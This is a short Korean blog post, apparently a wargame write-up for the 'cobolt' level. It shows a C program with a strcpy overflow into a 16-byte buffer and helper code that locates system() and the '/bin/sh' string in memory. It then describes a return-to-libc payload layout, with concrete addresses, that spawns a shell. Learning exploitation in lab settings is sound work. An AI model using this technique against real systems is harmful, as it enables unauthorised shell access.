티스토리 뷰

cobolt.c

int main(int argc, char *argv[])

{

char buffer[16];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}

gremlin과는 다르게 buffer의 크기가 16byte밖에 주어지지 않았다.

그래서 retsystem함수를 이용하여 쉘을 띄우기로 했다.

우선, system()함수의 주소를 gdb를 이용하여 찾았다.

system.c

void main(){

system();

}

 

system함수를 호출하는 부분에 브레이크 포인트를 걸고 print를 이용하여 system 함수의 주소를 찾을 수 있었다.

그 다음, system함수로 실행할 /bin/sh의 주소를 찾아보았다.

system함수의 주소부터 시작하여 메모리 값을 비교하여 /bin/sh의 주소를 찾는 방법으로 /bin/sh의 주소를 찾았다.

sh.c

int main()

{

long shell=0x40058ae0;

while(memcmp((void*) shell, "/bin/sh",8))

shell++;

printf("0x%x\n", shell);

}

system() 주소 : 0x40058ae0

/bin/sh의 주소 : 0x400fbff9

system함수는 4byte 떨어진 곳에 있는 값을 인자값으로 받아오기 때문에

buffer 16byte + SFP 4bytenop로 채운 뒤, retsystem함수의 주소를 넣고 nop 4byte를 채운 뒤 /bin/sh의 주소를 넣어 공격을 하였다.

 

댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday